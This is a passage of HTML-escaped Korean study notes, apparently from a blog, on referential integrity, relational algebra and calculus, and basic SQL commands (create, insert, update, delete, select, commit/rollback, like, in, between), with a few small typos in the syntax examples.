&lt;li&gt;&lt;span&gt;참조&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;릴레이션의&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;외래키&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;값은&lt;/span&gt;&lt;span&gt; Null &lt;/span&gt;&lt;span&gt;또는&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;반드시&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;피참조&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;릴레이션&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;기본키로&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;존재하는&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;값이어야&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;함&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/ul&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;span&gt;[ &lt;/span&gt;&lt;span&gt;관계&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;대수와&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;관계&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;해석&lt;/span&gt;&lt;span&gt; ]&lt;/span&gt;&lt;/h2&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;span&gt;관계&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;대수&lt;/span&gt;&lt;span&gt; ( &lt;/span&gt;&lt;span&gt;절차&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;언어&lt;/span&gt;&lt;span&gt; )&lt;/span&gt;&lt;/li&gt;
&lt;ul&gt;
&lt;li&gt;&lt;span&gt;릴레이션에&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;대한&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;연산의&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;결과는&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;릴레이션&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;연산자의&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;종류&lt;/span&gt;&lt;/li&gt;
&lt;ul&gt;
&lt;li&gt;&lt;span&gt;일반&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;집합&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;연산자&lt;/span&gt;&lt;span&gt; ( &lt;/span&gt;&lt;span&gt;합집합&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;교집합&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;차집합&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;카티션&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;프로덕트&lt;/span&gt;&lt;span&gt; )&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;순수&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;관계&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;연산자&lt;/span&gt;&lt;span&gt; ( &lt;/span&gt;&lt;span&gt;실렉트&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;프로젝트&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;조인&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;디비전&lt;/span&gt;&lt;span&gt; )&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/ul&gt;
&lt;li&gt;&lt;span&gt;관계&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;해석&lt;/span&gt;&lt;span&gt; ( &lt;/span&gt;&lt;span&gt;비절차&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;언어&lt;/span&gt;&lt;span&gt; )&lt;/span&gt;&lt;/li&gt;
&lt;ul&gt;
&lt;li&gt;&lt;span&gt;= &lt;/span&gt;&lt;span&gt;투플&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;관례&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;해석&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;투플&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;단위의&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;연산을&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;나타내는&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;관계해석식으로&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;질의문&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;표현&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;기능적으로는&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;관계&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;대수와&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;동등&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;비절차적&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;특성&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&amp;harr;&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;관계대수는&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;절차적&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;li&gt;&lt;span&gt;도메인&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;관계&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;해석&lt;/span&gt;&lt;/li&gt;
&lt;ul&gt;
&lt;li&gt;&lt;span&gt;= &lt;/span&gt;&lt;span&gt;도메인&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;해석&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;질의문을&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;도메인&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;해석식으로&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;나타냄&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;도메인&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;변수를&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;사용하여&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;해석식&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;표현&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;관계&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;해석&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&amp;rarr;&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;투플&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;변수&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;사용&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/ul&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;[ SQL ]&lt;/h2&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;span&gt;테이블&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;릴레이션&lt;/span&gt;&lt;span&gt;) &lt;/span&gt;&lt;span&gt;생성&lt;/span&gt;&lt;span&gt; : create table &amp;lt;&lt;/span&gt;&lt;span&gt;테이블&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;이름&lt;/span&gt;&lt;span&gt;&amp;gt; ( 컬럼 자료형 );&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;테이블&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;삭제&lt;/span&gt;&lt;span&gt; : drop table &amp;lt;&lt;/span&gt;&lt;span&gt;테이블&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;이름&lt;/span&gt;&lt;span&gt;&amp;gt;;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;데이터&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;삽입&lt;/span&gt;&lt;span&gt; : insert into &amp;lt;&lt;/span&gt;&lt;span&gt;테이블&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;이름&lt;/span&gt;&lt;span&gt;&amp;gt; values ( 컬럼값 );&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;데이터&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;검색&lt;/span&gt;&lt;span&gt; : selext * from &amp;lt;&lt;/span&gt;&lt;span&gt;테이블&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;이름&lt;/span&gt;&lt;span&gt;&amp;gt; where &amp;lt;&lt;/span&gt;&lt;span&gt;조건식&lt;/span&gt;&lt;span&gt;&amp;gt;&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;span&gt;데이터&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;조작언어&lt;/span&gt;&lt;span&gt; (DML)&lt;/span&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;span&gt;데이터&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;조작을&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;위해서는&lt;/span&gt;&lt;span&gt; CRUD &lt;/span&gt;&lt;span&gt;연산이&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;가능해야&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;함&lt;/span&gt;&lt;/li&gt;
&lt;ul&gt;
&lt;li&gt;&lt;span&gt;데이터의&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;생성&lt;/span&gt;&lt;span&gt; (Create)&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;읽기&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;조회&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;검색&lt;/span&gt;&lt;span&gt; (Read)&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;갱신&lt;/span&gt;&lt;span&gt; (Update)&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;삭제&lt;/span&gt;&lt;span&gt; (Delete)&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;li&gt;&lt;span&gt;SQL&lt;/span&gt;&lt;span&gt;의&lt;/span&gt;&lt;span&gt; DML&lt;/span&gt;&lt;span&gt;은&lt;/span&gt;&lt;span&gt; insert, select, update, delete &lt;/span&gt;&lt;span&gt;명령문에&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;해당&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;명령어&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;span&gt;insert &lt;/span&gt;&lt;span&gt;명령&lt;/span&gt;&lt;/li&gt;
&lt;ul&gt;
&lt;li&gt;&lt;span&gt;테이블에&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;레코드를&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;컬럼&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;순서대로&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;삽입&lt;/span&gt;&lt;/li&gt;
&lt;ul&gt;
&lt;li&gt;&lt;span&gt;insert into &amp;lt;&lt;/span&gt;&lt;span&gt;테이블&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;이름&lt;/span&gt;&lt;span&gt;&amp;gt; values ( &amp;hellip; )&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;li&gt;&lt;span&gt;컬럼&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;명을&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;지정하여&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;삽입&lt;/span&gt;&lt;/li&gt;
&lt;ul&gt;
&lt;li&gt;&lt;span&gt;insert inro &amp;lt;&lt;/span&gt;&lt;span&gt;테이블&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;이름&lt;/span&gt;&lt;span&gt;&amp;gt;(&amp;lt;&lt;/span&gt;&lt;span&gt;컬럼명&lt;/span&gt;&lt;span&gt;&amp;gt;) values (&amp;lt;&lt;/span&gt;&lt;span&gt;컬럼명&lt;/span&gt;&lt;span&gt;&amp;gt;)&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;li&gt;&lt;span&gt;select &lt;/span&gt;&lt;span&gt;결과&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;삽입&lt;/span&gt;&lt;/li&gt;
&lt;ul&gt;
&lt;li&gt;&lt;span&gt;insert into &amp;lt;&lt;/span&gt;&lt;span&gt;테이블&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;이름&lt;/span&gt;&lt;span&gt;&amp;gt; select &lt;/span&gt;&lt;span&gt;문&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/ul&gt;
&lt;li&gt;&lt;span&gt;update &lt;/span&gt;&lt;span&gt;명령&lt;/span&gt;&lt;/li&gt;
&lt;ul&gt;
&lt;li&gt;&lt;span&gt;update &amp;lt;&lt;/span&gt;&lt;span&gt;테이블&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;이름&lt;/span&gt;&lt;span&gt;&amp;gt; set &amp;lt;&lt;/span&gt;&lt;span&gt;컬럼명&lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt;컬럼값&lt;/span&gt;&lt;span&gt;&amp;gt; [where &lt;/span&gt;&lt;span&gt;조건식&lt;/span&gt;&lt;span&gt;]&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;li&gt;&lt;span&gt;delete &lt;/span&gt;&lt;span&gt;명령&lt;/span&gt;&lt;/li&gt;
&lt;ul&gt;
&lt;li&gt;&lt;span&gt;테이블&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;내의&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;행을&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;삭제하고&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;테이블&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;정의는&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;유지&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;테이블&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;내의&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;모든&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;행&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;삭제&lt;/span&gt;&lt;/li&gt;
&lt;ul&gt;
&lt;li&gt;&lt;span&gt;delete &amp;lt;&lt;/span&gt;&lt;span&gt;테이블&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;이름&lt;/span&gt;&lt;span&gt;&amp;gt;&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;li&gt;&lt;span&gt;조건에&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;해당하는&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;행들만&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;삭제&lt;/span&gt;&lt;/li&gt;
&lt;ul&gt;
&lt;li&gt;&lt;span&gt;delete &amp;lt;&lt;/span&gt;&lt;span&gt;테이블&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;이름&lt;/span&gt;&lt;span&gt;&amp;gt; where &lt;/span&gt;&lt;span&gt;조건식&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/ul&gt;
&lt;li&gt;&lt;span&gt;commit / rollbak &lt;/span&gt;&lt;span&gt;명령&lt;/span&gt;&lt;/li&gt;
&lt;ul&gt;
&lt;li&gt;&lt;span&gt;commit&lt;/span&gt;&lt;/li&gt;
&lt;ul&gt;
&lt;li&gt;&lt;span&gt;트랜잭션&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;커밋&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;이전&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;커밋시점부터&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;현재&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;커밋&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;명령&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;실행&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;시점까지의&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;변경&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;내역을&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;디스크에&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;기록&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;li&gt;&lt;span&gt;rollback&lt;/span&gt;&lt;/li&gt;
&lt;ul&gt;
&lt;li&gt;&lt;span&gt;이전&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;커밋시점부터&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;현재&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;롤백&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;명령&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;실행&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;시점까지의&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;변경&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;내역을&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;모두&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;취소&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;서버&lt;/span&gt;&lt;span&gt;&amp;nbsp;또는&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;클라이언트&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;프로그램이&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;비정상&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;종료되면&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;현재까지의&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;작업&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;내용은&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;자동적으로&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;롤백&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;li&gt;&lt;span&gt;DDL &lt;/span&gt;&lt;span&gt;명령&lt;/span&gt;&lt;span&gt; (create, alter, drop &lt;/span&gt;&lt;span&gt;등&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;span&gt;과&lt;/span&gt;&lt;span&gt; DCL &lt;/span&gt;&lt;span&gt;명령&lt;/span&gt;&lt;span&gt; (grant, revoke &lt;/span&gt;&lt;span&gt;등&lt;/span&gt;&lt;span&gt;)은 &lt;/span&gt;&lt;span&gt;그&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;자체가&lt;/span&gt;&lt;span&gt; commit &lt;/span&gt;&lt;span&gt;명령을&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;포함&lt;/span&gt;&lt;/li&gt;
&lt;ul&gt;
&lt;li&gt;&lt;span&gt;DDL, DCL &lt;/span&gt;&lt;span&gt;명령의&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;실행&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;결과&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;이전의&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;갱신&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;내역은&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;취소&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;불가&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;li&gt;&lt;span&gt;commit, rollback = DCL &lt;/span&gt;&lt;span&gt;명령&lt;/span&gt;&lt;span&gt; ( NOT DML )&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;li&gt;&lt;span&gt;select &lt;/span&gt;&lt;span&gt;명령&lt;/span&gt;&lt;/li&gt;
&lt;ul&gt;
&lt;li&gt;&lt;span&gt;단일&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;테이블에&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;대한&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;검색&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;select [&lt;/span&gt;&lt;span&gt;컬럼&lt;/span&gt;&lt;span&gt;] &lt;/span&gt;&lt;span&gt;또는&lt;/span&gt;&lt;span&gt; * from &amp;lt;&lt;/span&gt;&lt;span&gt;테이블명&lt;/span&gt;&lt;span&gt;&amp;gt; [where &lt;/span&gt;&lt;span&gt;조건식&lt;/span&gt;&lt;span&gt;]&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;li&gt;&lt;span&gt;where &lt;/span&gt;&lt;span&gt;조건식&lt;/span&gt;&lt;/li&gt;
&lt;ul&gt;
&lt;li&gt;&lt;span&gt;where &lt;/span&gt;&lt;span&gt;조건식&lt;/span&gt;&lt;span&gt; [ and | or &lt;/span&gt;&lt;span&gt;조건식&lt;/span&gt;&lt;span&gt; ]*&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;li&gt;&lt;span&gt;select distinct &lt;/span&gt;&lt;span&gt;명령&lt;/span&gt;&lt;/li&gt;
&lt;ul&gt;
&lt;li&gt;&lt;span&gt;중복된&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;레코드는&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;한번만&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;출력&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;select distinct [&lt;/span&gt;&lt;span&gt;컬럼&lt;/span&gt;&lt;span&gt;] &lt;/span&gt;&lt;span&gt;또는&lt;/span&gt;&lt;span&gt; * from &amp;lt;&lt;/span&gt;&lt;span&gt;테이블명&lt;/span&gt;&lt;span&gt;&amp;gt; [where &lt;/span&gt;&lt;span&gt;조건식&lt;/span&gt;&lt;span&gt;]&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;li&gt;&lt;span&gt;order by &lt;/span&gt;&lt;span&gt;구문&lt;/span&gt;&lt;/li&gt;
&lt;ul&gt;
&lt;li&gt;&lt;span&gt;select &lt;/span&gt;&lt;span&gt;결과를&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;정렬하여&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;출력&lt;/span&gt;&lt;/li&gt;
&lt;ul&gt;
&lt;li&gt;&lt;span&gt;asc (&lt;/span&gt;&lt;span&gt;오름차순&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;디폴트&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;dsc (&lt;/span&gt;&lt;span&gt;내림차순&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;li&gt;&lt;span&gt;select * from &amp;lt;&lt;/span&gt;&lt;span&gt;테이블&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;명&lt;/span&gt;&lt;span&gt;&amp;gt; order by [&amp;lt;&lt;/span&gt;&lt;span&gt;컬럼&lt;/span&gt;&lt;span&gt;&amp;gt; [ asc | dsc ]]*&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;li&gt;&lt;span&gt;like &lt;/span&gt;&lt;span&gt;연산자&lt;/span&gt;&lt;/li&gt;
&lt;ul&gt;
&lt;li&gt;&lt;span&gt;문자열&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;패턴&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;검색&lt;/span&gt;&lt;/li&gt;
&lt;ul&gt;
&lt;li&gt;&lt;span&gt;% : &lt;/span&gt;&lt;span&gt;임의의&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;길이&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;및&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;임의의&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;문자&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;의미&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;_ : &lt;/span&gt;&lt;span&gt;단일한&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;임의의&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;문자&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;의미&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/ul&gt;
&lt;li&gt;&lt;span&gt;in &lt;/span&gt;&lt;span&gt;연산자&lt;/span&gt;&lt;/li&gt;
&lt;ul&gt;
&lt;li&gt;&lt;span&gt;주어진&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;값들에&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;포함되는&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;것만을&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;검색&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;ex. select * from STUDENT where year in (1, 2);&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;li&gt;&lt;span&gt;between &lt;/span&gt;&lt;span&gt;연산자&lt;/span&gt;&lt;/li&gt;
&lt;ul&gt;
&lt;li&gt;&lt;span&gt;값의&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;범위에&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;따른&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;검색&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;ex. select * from STUDENT where year between 1 and 3&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;li&gt;&lt;span&gt;alias&lt;/span&gt;&lt;/li&gt;
&lt;ul&gt;
&lt;li&gt;&lt;span&gt;테이블&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;또는&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;컬럼의&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;이름을&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;주어진&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;이름으로&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;지정&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;ex. select sno as &lt;/span&gt;&lt;span&gt;학번&lt;/span&gt;&lt;span&gt;, sname as name from STUDENT&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;li&gt;&lt;span&gt;group by &lt;/span&gt;&lt;span&gt;절&lt;/span&gt;&lt;/li&gt;
&lt;ul&gt;
